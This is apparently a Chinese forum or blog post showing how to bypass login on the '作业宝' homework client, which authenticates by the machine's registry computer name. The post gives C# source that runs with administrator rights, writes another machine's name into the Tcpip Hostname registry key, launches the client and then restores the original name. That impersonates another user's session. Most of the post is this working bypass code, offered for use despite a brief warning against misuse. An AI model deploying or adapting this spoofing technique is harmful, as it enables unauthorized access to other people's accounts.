大家都发现学宝虚拟机里的作业宝能一键登录吧,我稍稍研究了一下,其实就是读取注册表中的计算机名的值再去和服务器匹配,如果匹配成功就登录。以下是C#源码,随便新建一个窗体程序,在窗体载入函数中写下如下代码即可(条件:作业宝在D:\作业宝目录下,程序所在目录有配置文件config.ini,其中xb的内容就是学宝虚拟机的计算机名。但是不要恶意登录他人的!还有~本程序得以管理员身份运行,因为修改了要权限的注册表。[首创])
配置文件:

1
2
[csust]
xb=grade******

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
void MainFormLoad(object sender, EventArgs e)
{
StringBuilder sb = new StringBuilder();
GetPrivateProfileString("csust", "xb", "", sb, 255, Environment.CurrentDirectory+"\\config.ini");//取得学宝计算机名并放入sb变量
RegistryKey rkLocalMachine = Registry.LocalMachine;
RegistryKey rkChild = rkLocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters", true);
this.Text=rkChild.GetValue("Hostname").ToString();//取得自己计算机名将其存入标题
rkChild.SetValue("Hostname",sb.ToString());//将sb变量中的学宝计算机名写到注册表
System.Diagnostics.Process.Start(@"D:\作业宝\RealWork.exe");//运行作业宝
Thread.Sleep(3000);//休眠3s 可根据电脑配置酌情加减
rkChild.SetValue("Hostname",this.Text);//还原计算机名
Environment.Exit(0);//退出
}